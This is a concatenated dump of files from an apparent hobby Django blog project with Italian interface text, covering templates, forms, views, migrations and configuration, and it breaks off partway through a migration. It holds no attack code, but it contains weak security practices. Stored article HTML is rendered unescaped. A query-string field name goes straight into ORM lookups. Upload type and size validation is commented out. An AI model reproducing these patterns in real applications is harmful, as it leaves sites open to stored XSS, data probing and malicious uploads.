"content_id": "5e489df26d774c4d5cde83f72d3bd93b28792154", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 2500, "license_type": "no_license", "max_line_length": 158, "num_lines": 55, "path": "/apps/templates/blog/article-detail.html", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "{% extends './base.html' %}\n{% load rules %}\n{% block content %}\n<div class=\"uk-grid uk-grid-large\">\n <div class=\"uk-width-expand@m\">\n <div class=\"uk-margin\">\n <article class=\"uk-article\">\n <div class=\"uk-margin\">\n <h2 class=\"uk-heading-divider\">{{ object.title|capfirst }}</h2>\n </div> \n <div class=\"uk-margin-medium\">\n {{ object.content|safe }}\n </div>\n <div class=\"uk-text-small uk-margin-large\">\n <span>Scritto da: {{ object.author }}</span> on {{ object.updated }}.<br>\n <span>Pubblicato in: {{ object.tag.all|join:\", \"|default:\"non categorizzato\" }}</span> \n </div>\n </article>\n </div>\n <div class=\"uk-margin-medium\">\n {% has_perm 'blog.update_article' user article as can_edit %}\n {% if can_edit %}\n <span class=\"uk-text-muted\"></span> <a class=\"uk-button uk-button-primary\" href=\"{% url 'blog:article-update' article.id %}\">Modifica</a>\n {% endif %}\n {% has_perm 'blog.delete_article' user article as can_delete %}\n {% if can_delete %}\n <a class=\"uk-button uk-button-danger\" href=\"{% url 'blog:article-delete' article.id %}\">Elimina</a>\n {% endif %}\n </div>\n </div>\n <div class=\"uk-width-1-3@m\">\n <h2 class=\"uk-heading-divider\">Dallo stesso autore</h2>\n <div>\n <div class=\"uk-grid uk-child-width-1-1\">\n {% for article in articles_from_author %}\n <div style=\"margin-bottom:5px !important\">\n <div class=\"uk-card uk-card-default uk-card-body uk-padding-remove\" style=\"background-color: #eaeaea;padding:25px !important\">\n <div class=\"uk-position-top-right\" style=\"padding:1px 5px;color:#031b4e\"><span class=\"uk-text-small\">{{article.hits}}</span></div>\n <a class=\"uk-link\" href=\"{{ article.get_absolute_url }}\">\n {{ article.title }}\n </a>\n </div>\n </div>\n {% endfor %}\n </div>\n </div>\n </div>\n</div>\n{% endblock %}\n\n{% block javascript %}\n {{block.super}}\n <!-- share this -->\n <script type=\"text/javascript\" src=\"//s7.addthis.com/js/300/addthis_widget.js#pubid=alkaest2002\"></script>\n{% endblock %}" }, { "alpha_fraction": 0.38668662309646606, "alphanum_fraction": 0.38668662309646606, "avg_line_length": 41.870967864990234, "blob_id": "40fa45a776469312d9565f763bb30625e417ca46", "content_id": "58e9cce8a1c4c0464ef5f20f2f8da80e90b46472", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1337, "license_type": "no_license", "max_line_length": 133, "num_lines": 31, "path": "/apps/forefront/forms.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "from django import forms\nfrom django.core.mail import send_mail\n\n# ----------------------------------------------------------------------------\n# FORMS \n# ----------------------------------------------------------------------------\nclass Cookie_Form(forms.Form):\n pass\n\nclass Contact_Form(forms.Form):\n \n # ----------------------------------------------------------------------------\n # props \n # ----------------------------------------------------------------------------\n name = forms.CharField(label=\"Cognone e nome\", required=True)\n email = forms.EmailField(required=True)\n privacy = forms.BooleanField(required=True, label=\"acconsento al trattamento dei miei dati personali.\")\n\n # ----------------------------------------------------------------------------\n # override methods \n # ----------------------------------------------------------------------------\n def send_email(self):\n # cache form data\n data = self.cleaned_data\n # send email\n return send_mail(\n subject = 'Richiesta info - {}'.format(data['name']),\n message = 'Un visitatore del sito SIPPAS ha richiesto unformazioni. Email richiedente - {}'.format(data['email']),\n from_email = '[email protected]',\n recipient_list = ['[email protected]'],\n )\n " }, { "alpha_fraction": 0.7951807379722595, "alphanum_fraction": 0.7951807379722595, "avg_line_length": 40.5, "blob_id": "6056ef3876c7e4858c64bcee95e162d33a0f2f8f", "content_id": "3a0875b7199b475efd02e8b37ef90f240e0387f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 83, "license_type": "no_license", "max_line_length": 68, "num_lines": 2, "path": "/README.md", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "# django-blog\na website created with django. Done for fiddling with the framework.\n" }, { "alpha_fraction": 0.44671669602394104, "alphanum_fraction": 0.4470919370651245, "avg_line_length": 36.54225540161133, "blob_id": "d4582d0ca8b89cc9a04cb33cfe33b44a11367cb6", "content_id": "64acc28c5d7cc098655e2bf4541ec2baca2c189f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5332, "license_type": "no_license", "max_line_length": 83, "num_lines": 142, "path": "/apps/gild/views.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "from django.views.generic import ListView\nfrom django.views.generic.edit import CreateView, UpdateView, DeleteView\nfrom django.contrib.postgres.search import SearchQuery, SearchRank, SearchVector\nfrom django.contrib import messages\nfrom django.urls import reverse_lazy\nfrom rules.contrib.views import PermissionRequiredMixin\n\nfrom apps.common.mixins import CacheMixin\nfrom apps.common.functions import get_cleaned_path\nfrom .models import Member\nfrom .forms import Member_Create_Update_Form\n\nclass Member_List(CacheMixin, ListView):\n\n # ----------------------------------------------------------------\n # props\n # ----------------------------------------------------------------\n model = Member\n template_name = 'gild/member-list.html'\n paginate_by = 12\n\n # ----------------------------------------------------------------\n # override methods\n # ----------------------------------------------------------------\n def get_paginate_by(self, queryset):\n return self.request.GET.get('paginate_by', self.paginate_by)\n \n def get_context_data(self, **kwargs):\n # call super\n ctx = super(Member_List, self).get_context_data(**kwargs)\n # add cleaned path\n ctx['cleaned_path'] = get_cleaned_path('gild:member-list')\n # add search\n search = self.request.GET.get('search')\n field = self.request.GET.get('field')\n if search: \n ctx['search_querystring'] = \"?field={}&search={}\".format(field, search)\n # return context\n return ctx\n\n def get_queryset(self, **lookup):\n # call super\n qs = super(Member_List, self).get_queryset(**lookup)\n # set search\n search = self.request.GET.get('search')\n field = self.request.GET.get('field')\n if search:\n qs = qs.filter(**{ '{}__istartswith'.format(field): search })\n # return queryset\n return qs\n\nclass Member_Create(PermissionRequiredMixin, CreateView):\n \n # ----------------------------------------------------------------\n # permission\n # ----------------------------------------------------------------\n permission_required = 'gild.create_member'\n\n # ----------------------------------------------------------------\n # props\n # ----------------------------------------------------------------\n template_name = 'gild/member-create-or-update.html'\n model = Member\n form_class = Member_Create_Update_Form\n success_url = reverse_lazy('gild:member-list')\n\n # ----------------------------------------------------------------\n # override methods\n # ----------------------------------------------------------------\n def get_object(self):\n pass\n \n def get_context_data(self, **kwargs):\n # call super\n ctx = super().get_context_data(**kwargs)\n # add submit button label\n ctx['submit_label'] = 'crea'\n # return context\n return ctx\n \n def form_valid(self, form):\n # add flash\n messages.success(self.request, \"Il socio è stato aggiunto.\")\n # return super\n return super(Member_Create, self).form_valid(form)\n\nclass Member_Update(PermissionRequiredMixin, UpdateView):\n\n # ----------------------------------------------------------------\n # permission\n # ----------------------------------------------------------------\n permission_required = 'gild.update_member'\n \n # ----------------------------------------------------------------\n # props\n # ----------------------------------------------------------------\n template_name = 'gild/member-create-or-update.html'\n form_class = Member_Create_Update_Form\n model = Member\n success_url = reverse_lazy('gild:member-list')\n\n # ----------------------------------------------------------------\n # override methods\n # ----------------------------------------------------------------\n def get_context_data(self, **kwargs):\n # call super\n ctx = super().get_context_data(**kwargs)\n # add submit button label\n ctx['submit_label'] = 'aggiorna'\n # return context\n return ctx\n \n def form_valid(self, form):\n # add flash\n messages.success(self.request, \"Il socio è stato aggiornato.\")\n # return super\n return super(Member_Update, self).form_valid(form)\n\nclass Member_Delete(PermissionRequiredMixin, DeleteView):\n\n # ----------------------------------------------------------------\n # permission\n # ----------------------------------------------------------------\n permission_required = 'gild.delete_member'\n\n # ----------------------------------------------------------------\n # props\n # ----------------------------------------------------------------\n template_name = 'common/object-delete.html'\n model = Member\n success_url = reverse_lazy('gild:member-list')\n\n # ----------------------------------------------------------------\n # override methods\n # ----------------------------------------------------------------\n def get_context_data(self, **kwargs):\n # call super\n ctx = super().get_context_data(**kwargs)\n # add go back url\n ctx['go_back'] = self.success_url\n # return context\n return ctx" }, { "alpha_fraction": 0.5566264986991882, "alphanum_fraction": 0.6024096608161926, "avg_line_length": 22.05555534362793, "blob_id": "84f680d2c37f37d1b55304895973edb2775ca9ff", "content_id": "0942a292609e4c8657965ef2875cdff073526f6c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 415, "license_type": "no_license", "max_line_length": 81, "num_lines": 18, "path": "/apps/blog/migrations/0011_auto_20180916_1156.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1.1 on 2018-09-16 11:56\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('blog', '0010_article_issticky'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='article',\n name='isSticky',\n field=models.BooleanField(default=False, verbose_name='In evidenza'),\n ),\n ]\n" }, { "alpha_fraction": 0.4920083284378052, "alphanum_fraction": 0.49339818954467773, "avg_line_length": 30.30434799194336, "blob_id": "ec1d682a75829a0592531fde96af1623820d2220", "content_id": "374ba98b52104277ea55e534f1323307ece1b02c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1439, "license_type": "no_license", "max_line_length": 78, "num_lines": 46, "path": "/apps/blog/forms.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "from django.forms import ModelForm, CheckboxSelectMultiple\nfrom django.forms.models import modelformset_factory\n\nfrom .models import Article, Tag\n\n# ----------------------------------------------------------------------------\n# FORMS \n# ----------------------------------------------------------------------------\nclass Article_Create_Update_Form(ModelForm):\n\n class Meta:\n model = Article\n fields = ['title', 'teaser','content', 'tag', 'isSticky']\n widgets = {\n 'tag' : CheckboxSelectMultiple()\n }\n \n def __init__(self, sticky_count, *args, **kwargs):\n # call super\n super(Article_Create_Update_Form, self).__init__(*args, **kwargs)\n # sticky count\n if sticky_count == 4 and not self.instance.isSticky:\n self.fields['isSticky'].widget.attrs['disabled'] = True\n\nclass Tag_Create_Form(ModelForm):\n\n class Meta:\n model = Tag\n fields = ['name'] \n\n def clean_name(self):\n return self.cleaned_data['name'].lower()\n\n def form_valid(self, form):\n messages.success(self.request, 'Tag aggiunto.')\n return super(Tag_Create_Form, self).form_valid(form)\n\n# ----------------------------------------------------------------------\n# FORMSETS\n# ----------------------------------------------------------------------\nTag_Formset_Factory = modelformset_factory(\n Tag,\n Tag_Create_Form,\n extra=1,\n can_delete=True\n)" }, { "alpha_fraction": 0.5059523582458496, "alphanum_fraction": 0.508809506893158, "avg_line_length": 37.19091033935547, "blob_id": "ef87dfcd5f77b772f6a2563238a382c1570f03cc", "content_id": "d18d124c746719c7e608267bf73212a75ab65674", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4201, "license_type": "no_license", "max_line_length": 90, "num_lines": 110, "path": "/apps/forefront/views.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "from datetime import date, timedelta\nfrom django.views.generic import TemplateView\nfrom django.views.generic.edit import FormView\nfrom django.shortcuts import redirect\nfrom django.contrib import messages\n\nfrom apps.common.decorators import check_recaptcha\nfrom apps.blog.models import Article\nfrom apps.sponsor.models import Company\nfrom .forms import Cookie_Form, Contact_Form\nfrom django.urls import reverse_lazy\n\n# Create your views here.\nclass ForeFront_Index(TemplateView):\n \n # ----------------------------------------------------------------\n # parameters\n # ----------------------------------------------------------------\n template_name = \"forefront/index.html\"\n\n # ----------------------------------------------------------------\n # override methods\n # ----------------------------------------------------------------\n def dispatch(self, *args, **kwargs):\n # redirect to cookie consent if necessary\n #if not self.request.COOKIES.get('cookie_consent'): \n #return redirect(reverse_lazy('forefront:cookie-consent'))\n # return super\n return super(ForeFront_Index, self).dispatch(*args, **kwargs)\n\n def get_context_data(self, **kwargs):\n # call super\n ctx = super(ForeFront_Index, self).get_context_data(**kwargs)\n # add latest articles\n ctx['latest_articles'] = Article.objects.get_most_recent_articles(size=8)\n # add article with most hits\n ctx['hot_articles'] = Article.objects.get_articles_with_most_hits(size=8)\n # add sticky articled\n ctx['sticky_articles'] = Article.objects.get_sticky_articles(size=6)\n # add sponsors\n ctx['sponsors'] = Company.objects.all()\n # return context \n return ctx\n\nclass Cookie_Consent(FormView):\n\n # ----------------------------------------------------------------\n # parameters\n # ----------------------------------------------------------------\n template_name = \"forefront/cookie-consent.html\"\n form_class = Cookie_Form\n success_url = reverse_lazy('forefront:index')\n \n # ----------------------------------------------------------------\n # override methods\n # ----------------------------------------------------------------\n def form_valid(self, form):\n # get redirect response\n response = redirect(self.get_success_url())\n # set cookie consent\n response.set_cookie('cookie_consent', value='ok', max_age=60*60*24*365)\n # return redirect\n return response\n\nclass ForeFront_Services(FormView):\n \n # ----------------------------------------------------------------\n # parameters\n # ----------------------------------------------------------------\n template_name = \"forefront/services.html\"\n form_class = Contact_Form\n success_url = reverse_lazy('forefront:services')\n\n # ----------------------------------------------------------------\n # override methods\n # ----------------------------------------------------------------\n def get_context_data(self, **kwargs):\n # call super\n ctx = super(ForeFront_Services, self).get_context_data(**kwargs)\n # add sponsors\n ctx['worked_for'] = [\n {\"name\": 'Consorzio Humanitas', \"link\": 'http://www.consorziohumanitas.com/'},\n {\"name\": 'Coasta Crociere', \"link\": 'https://www.costacrociere.it/'},\n {\"name\": 'Agusta Westland', \"link\": 'http://www.leonardocompany.com/'}\n ]\n # return context \n return ctx\n\n @check_recaptcha\n def post(self, request, *args, **kwargs):\n \n # get form\n form = self.get_form()\n\n # captcha result\n if form.is_valid() and request.recaptcha_is_valid:\n return self.form_valid(form)\n else:\n messages.error(request, 'reCAPTCHA non valido. Per favore, prova nuovamente.')\n \n # return\n return redirect(self.success_url)\n \n def form_valid(self, form):\n # add flash\n messages.success(self.request, \"L'email è stata correttamente elaborata. Grazie.\")\n # send email\n form.send_email()\n # return redirect\n return super(ForeFront_Services, self).form_valid(form)" }, { "alpha_fraction": 0.5038343667984009, "alphanum_fraction": 0.5053681135177612, "avg_line_length": 31.612499237060547, "blob_id": "20c70bf47cb710da77ab58f72d5bfebdc9c84f4d", "content_id": "eb4b489da7b2c927602b58b9756b4afb8ad8dd04", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2608, "license_type": "no_license", "max_line_length": 130, "num_lines": 80, "path": "/apps/filer/forms.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "from django.forms import ModelForm, ValidationError, CheckboxSelectMultiple\nfrom django.contrib import messages\nfrom django.forms.models import modelformset_factory\nfrom django.urls import reverse_lazy\nfrom functools import reduce\nimport magic \n\nfrom .models import Tag, Asset\n\n# ----------------------------------------------------------------------\n# FORMS \n# ----------------------------------------------------------------------\nclass Tag_Create_Form(ModelForm):\n\n class Meta:\n model = Tag\n fields = ['name'] \n\n def form_valid(self, form):\n messages.success(self.request, 'Tag aggiunto.')\n return super(Tag_Create_Form, self).form_valid(form)\n\nclass Asset_Select_Form(ModelForm):\n\n class Meta:\n model: Asset\n fields = ['isSelected']\n\nclass Asset_Upload_Form(ModelForm):\n\n class Meta:\n model = Asset\n fields = ['typeOf', 'resource', 'tag']\n widgets = {\n 'tag' : CheckboxSelectMultiple()\n }\n\n def clean(self):\n # get data\n data = self.cleaned_data\n # # get field values\n # resource = data['resource']\n # typeOf = data['typeOf']\n # # --------------------------------------------\n # # mime type check\n # # --------------------------------------------\n # mime = magic.from_buffer(resource.read(), mime=True)\n # if reduce(lambda acc, itr: mime.find(itr.lower()) + acc, Asset.ASSETS_MIMETYPES, 0) == len(Asset.ASSETS_MIMETYPES) * -1:\n # self.add_error('resource', ValidationError('Tipo di file non riconosciuto.', code=\"invalid type\"))\n # # --------------------------------------------\n # # file size check\n # # --------------------------------------------\n # if resource.size > Asset.ASSET_FILES_LIMITS[typeOf]:\n # self.add_error('resource', ValidationError('File di dimensioni eccessive.', code=\"invalid size\"))\n # return data\n return data\n\nclass Asset_Update_Form(Asset_Upload_Form): \n \n # set required to false in update form\n def __init__(self, *args, **kwargs):\n super(Asset_Update_Form, self).__init__(*args, **kwargs)\n self.fields['resource'].required = False \n\n# ----------------------------------------------------------------------\n# FORMSETS\n# ----------------------------------------------------------------------\nTag_Formset_Factory = modelformset_factory(\n Tag,\n Tag_Create_Form,\n extra=1,\n can_delete=True\n)\n\nAsset_Formset_Factory = modelformset_factory(\n Asset,\n Asset_Select_Form,\n extra=0,\n can_delete=True\n)" }, { "alpha_fraction": 0.4934823215007782, "alphanum_fraction": 0.5605214238166809, "avg_line_length": 22.34782600402832, "blob_id": "55392030f52dadc1d1e2459369d224c842e1824e", "content_id": "84c6b727f436a184e9c598c1ad9e6a8b6f3fb4d3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 537, "license_type": "no_license", "max_line_length": 50, "num_lines": 23, "path": "/apps/sponsor/migrations/0004_auto_20180910_1934.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1 on 2018-09-10 19:34\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('sponsor', '0003_auto_20180910_1933'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='company',\n name='link',\n field=models.URLField(max_length=500),\n ),\n migrations.AlterField(\n model_name='company',\n name='teaser',\n field=models.URLField(max_length=500),\n ),\n ]\n" }, { "alpha_fraction": 0.3957597315311432, "alphanum_fraction": 0.3957597315311432, "avg_line_length": 34.4375, "blob_id": "88336ae1b1e11167b335ab9a26a28a7a86451c57", "content_id": "eb991a0f49d6bdce4714f16d6b4434b2d0647f84", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 566, "license_type": "no_license", "max_line_length": 66, "num_lines": 16, "path": "/apps/sponsor/rules.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "import rules\n\n# ----------------------------------------------------------------\n# PREDICATES\n# ----------------------------------------------------------------\n\nis_editor = rules.is_group_member('editor')\n\n# ----------------------------------------------------------------\n# RULES\n# ----------------------------------------------------------------\n\nrules.add_perm('sponsor.view_company', rules.always_allow())\nrules.add_perm('sponsor.create_company', is_editor)\nrules.add_perm('sponsor.update_company', is_editor)\nrules.add_perm('sponsor.delete_company', is_editor)" }, { "alpha_fraction": 0.5313224792480469, "alphanum_fraction": 0.6032482385635376, "avg_line_length": 22.94444465637207, "blob_id": "1cb094c32500eb28db024bee4b7bc669f0e02ca2", "content_id": "5ed8051af0c82bd6d31331fe8e859ce2a6ffd72c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 431, "license_type": "no_license", "max_line_length": 99, "num_lines": 18, "path": "/apps/blog/migrations/0012_article_teaser.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1.1 on 2018-09-17 08:47\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('blog', '0011_auto_20180916_1156'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='article',\n name='teaser',\n field=models.URLField(blank=True, null=True, verbose_name='url immagine di copertina'),\n ),\n ]\n" }, { "alpha_fraction": 0.5197255611419678, "alphanum_fraction": 0.7084047794342041, "avg_line_length": 17.25, "blob_id": "4fa66778930d3b5a428211b6874c309eabe16fb9", "content_id": "995493a9bb813c9e0e6f9f8c43edc58f1222a6af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 583, "license_type": "no_license", "max_line_length": 31, "num_lines": 32, "path": "/requirements.txt", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "boto==2.49.0\ncachetools==2.1.0\ncertifi==2018.8.24\nchardet==3.0.4\nDjango==2.1.1\ndjango-debug-toolbar==1.10.1\ndjango-redis==4.9.0\ndjango-storages==1.7.1\ngoogle-api-core==1.4.0\ngoogle-auth==1.5.1\ngoogle-cloud-core==0.28.1\ngoogle-cloud-storage==1.12.0\ngoogle-resumable-media==0.3.1\ngoogleapis-common-protos==1.5.3\ngunicorn==19.9.0\nidna==2.7\nlibmagic==1.0\nprotobuf==3.6.1\npsycopg2==2.7.5\npyasn1==0.4.4\npyasn1-modules==0.2.2\npython-decouple==3.1\npython-magic==0.4.15\npytz==2018.5\nredis==2.10.6\nrequests==2.19.1\nrsa==4.0\nrules==2.0\nsix==1.11.0\nsparkpost==1.3.6\nsqlparse==0.2.4\nurllib3==1.23" }, { "alpha_fraction": 0.5097990036010742, "alphanum_fraction": 0.5105527639389038, "avg_line_length": 37.27404022216797, "blob_id": "1a9874bc87253e235eb930738cfe3fe8526942f6", "content_id": "f187803bb38a93fe0faf5dd0397c3c476b869d2a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7960, "license_type": "no_license", "max_line_length": 110, "num_lines": 208, "path": "/apps/filer/views.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "from django.contrib.auth.mixins import LoginRequiredMixin, PermissionRequiredMixin\nfrom django.shortcuts import render, redirect\nfrom django.views.generic import View, TemplateView, ListView\nfrom django.views.generic.edit import CreateView, UpdateView\nfrom django.http import HttpResponseRedirect\nfrom django.contrib import messages\nfrom django.urls import reverse_lazy\nfrom django.utils.http import urlencode\n\nfrom .forms import *\nfrom .models import *\nfrom apps.common.decorators import search\nfrom apps.common.functions import get_cleaned_path\n\n# view asset list\nclass Asset_List(LoginRequiredMixin, ListView):\n \n # ----------------------------------------------------------------\n # parameters\n # ----------------------------------------------------------------\n template_name = 'filer/asset-list.html'\n model = Asset\n paginate_by = 10\n formset = Asset_Formset_Factory\n\n # ----------------------------------------------------------------\n # overide methods\n # ----------------------------------------------------------------\n def get_paginate_by(self, queryset):\n return self.request.GET.get('paginate_by', self.paginate_by)\n \n def get_queryset(self, **kwargs):\n # call super\n qs = super(Asset_List, self).get_queryset(**kwargs)\n # filter assets\n qs = qs.filter(user_id=self.request.user.id)\n # set search\n search = self.request.GET.get('search')\n if search: qs = qs.filter(resource__icontains=search)\n # return queryset\n return qs\n \n @search\n def get_context_data(self, **kwargs):\n # call super\n ctx = super(Asset_List, self).get_context_data()\n # add cleaned path\n ctx['cleaned_path'] = get_cleaned_path('filer:asset-list')\n # add formset to context\n ctx['formset'] = self.formset(queryset=ctx['object_list'])\n # zip formset and list together\n ctx['formset_zipped'] = zip(ctx['formset'], ctx['object_list'])\n # add tag list\n ctx['tags'] = Tag.objects.all()\n # return context\n return ctx \n \n def post(self, request, *args, **kwargs):\n # needed to get context data in POST\n self.object_list = self.get_queryset()\n # populate formset with POST data\n formset = self.formset(request.POST, request.FILES)\n # if formset is valis\n if formset.is_valid():\n # loop through forms in formset\n formset.save()\n # set success message\n messages.success(request, 'Aggiornamenti effettuati con successo.')\n # redirect to succes\n return HttpResponseRedirect(self.get_success_url()) \n else:\n messages.error(request, 'Errore.')\n # get context\n ctx = self.get_context_data()\n # update context with POST populated formset\n ctx['formset'] = formset\n ctx['formset_zipped'] = zip(ctx['formset'], ctx['object_list'])\n # render page\n return render(request, self.template_name, ctx) \n \n def get_success_url(self):\n # build success\n url = reverse_lazy('filer:asset-list')\n return u'%s?%s' % (url, urlencode({'page':self.request.GET.get('page', 1)}))\n\n# view tagget asset list\nclass Asset_Tagged_List(Asset_List):\n \n # ----------------------------------------------------------------\n # overide methods\n # ----------------------------------------------------------------\n def get_context_data(self, **kwargs):\n # call super\n ctx = super(Asset_Tagged_List, self).get_context_data()\n # add cleaned path\n ctx['cleaned_path'] = get_cleaned_path('filer:asset-list-tag', kwargs={'tag': self.kwargs.get('tag')})\n # return context\n return ctx \n \n def get_queryset(self, **kwargs):\n # call super\n qs = super(Asset_List, self).get_queryset(**kwargs)\n # if tag\n qs = qs.filter(tag__name=self.kwargs['tag'])\n # return queryset\n return qs\n\n# reset selected assets\nclass Asset_Reset_Select(LoginRequiredMixin, View):\n # ----------------------------------------------------------------\n # overide methods\n # ----------------------------------------------------------------\n def get(self, request, *args, **kwargs):\n # reset selected\n Asset.objects.filter(isSelected=True).update(isSelected=False)\n # redirect to asset select\n return redirect('filer:asset-list')\n\n# upload asset\nclass Asset_Upload(LoginRequiredMixin, CreateView):\n # ----------------------------------------------------------------\n # parameters\n # ----------------------------------------------------------------\n template_name = 'filer/asset-upload-update.html'\n model = Asset\n form_class = Asset_Upload_Form\n\n # ----------------------------------------------------------------\n # overide methods\n # ----------------------------------------------------------------\n def form_valid(self, form):\n # save asset\n asset = form.save(commit=False)\n asset.user = self.request.user\n asset.isSelected = True\n asset.save()\n # set success message\n messages.success(self.request, 'Aggiornamenti effettuati con successo.')\n # call super\n return super().form_valid(form)\n \n def get_success_url(self):\n return reverse_lazy('filer:asset-upload')\n\n# update asset\nclass Asset_Update(LoginRequiredMixin, UpdateView):\n # ----------------------------------------------------------------\n # parameters\n # ----------------------------------------------------------------\n template_name = 'filer/asset-upload-update.html'\n model = Asset\n form_class = Asset_Update_Form\n\n # ----------------------------------------------------------------\n # overide methods\n # ----------------------------------------------------------------\n def form_valid(self, form):\n # set success message\n messages.success(self.request, 'Aggiornamenti effettuati con successo.')\n # call super\n return super().form_valid(form)\n\n# list tag\nclass Tag_List(LoginRequiredMixin, ListView):\n # ----------------------------------------------------------------\n # parameters\n # ----------------------------------------------------------------\n template_name = 'filer/tag-list.html'\n model = Tag\n paginate_by = 10\n formset = Tag_Formset_Factory\n\n # ----------------------------------------------------------------\n # override methods\n # ----------------------------------------------------------------\n def get_context_data(self, **kwargs):\n # call super\n ctx = super(Tag_List, self).get_context_data()\n # add cleaned_path\n ctx['cleaned_path'] = get_cleaned_path('filer:tag-list')\n # add formset to context\n ctx['formset'] = self.formset(queryset=ctx['object_list'])\n # return context\n return ctx \n\n def post(self, request, *args, **kwargs):\n # needed to get context data in POST\n self.object_list = self.get_queryset()\n # populate formset with POST data\n formset = self.formset(request.POST, request.FILES)\n # if formset is valis\n if formset.has_changed() & formset.is_valid():\n # loop through forms in formset\n formset.save()\n # redirect to succes\n return HttpResponseRedirect(self.get_success_url()) \n else:\n # get context\n ctx = self.get_context_data()\n # update context with POST populated formset\n ctx['formset'] = formset\n # render page\n return render(request, self.template_name, ctx) \n\n def get_success_url(self):\n # build success\n url = reverse_lazy('filer:tag-list')\n return u'%s?%s' % (url, urlencode({'page':self.request.GET.get('page', 1)}))" }, { "alpha_fraction": 0.6934865713119507, "alphanum_fraction": 0.6934865713119507, "avg_line_length": 34.59090805053711, "blob_id": "f798969e3a4a26fc09af35b498a03031b4e8ccbd", "content_id": "fa56ff9bf198c33c6862f1effea6f59bc1924b55", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 783, "license_type": "no_license", "max_line_length": 94, "num_lines": 22, "path": "/config/urls.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "import os\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom django.conf.urls.static import static\nfrom django.conf import settings\nfrom decouple import config \n\n\nurlpatterns = [\n path('', include('apps.forefront.urls')),\n path('admin/', admin.site.urls),\n path('blog/', include('apps.blog.urls')),\n path('account/', include('apps.account.urls')),\n path('gild/', include('apps.gild.urls')),\n path('filer/', include('apps.filer.urls')),\n path('sponsor/', include('apps.sponsor.urls'))\n]\n\nif config('DEBUG', default=False, cast=bool):\n import debug_toolbar\n urlpatterns = urlpatterns + [ path('__debug__/', include(debug_toolbar.urls))] \n urlpatterns = urlpatterns + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n" }, { "alpha_fraction": 0.6670507192611694, "alphanum_fraction": 0.6670507192611694, "avg_line_length": 53.3125, "blob_id": "cbb1623af6e45c49f28063069ed4649b830ac1df", "content_id": "399723d5b6d67a9c5f45fb87388bf82331098952", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 868, "license_type": "no_license", "max_line_length": 116, "num_lines": 16, "path": "/apps/filer/urls.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom . import views\n\napp_name = 'filer'\n\nurlpatterns = [\n path('asset/list', views.Asset_List.as_view(), name='asset-list'),\n path('asset/list/page/<int:page>', views.Asset_List.as_view(), name='asset-list-page'),\n path('asset/list/reset', views.Asset_Reset_Select.as_view(), name='asset-list-reset'),\n path('asset/list/tag/<str:tag>', views.Asset_Tagged_List.as_view(), name='asset-list-tag'),\n path('asset/list/tag/<str:tag>/page/<int:page>', views.Asset_Tagged_List.as_view(), name='asset-list-tag-page'),\n path('asset/upload', views.Asset_Upload.as_view(), name='asset-upload'),\n path('asset/update/<int:pk>', views.Asset_Update.as_view(), name='asset-update'),\n path('tag/list', views.Tag_List.as_view(), name='tag-list'),\n path('tag/list/page/<int:page>', views.Tag_List.as_view(), name='tag-list-page'),\n]" }, { "alpha_fraction": 0.560538113117218, "alphanum_fraction": 0.6098654866218567, "avg_line_length": 23.77777862548828, "blob_id": "1adf3dd7bcc2fa22eb20977bfda15da5c86d7991", "content_id": "4b0dbc51df7ba6be86b95c98df37ed5ad8df2aee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 446, "license_type": "no_license", "max_line_length": 116, "num_lines": 18, "path": "/apps/blog/migrations/0013_auto_20180917_0853.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1.1 on 2018-09-17 08:53\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('blog', '0012_article_teaser'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='article',\n 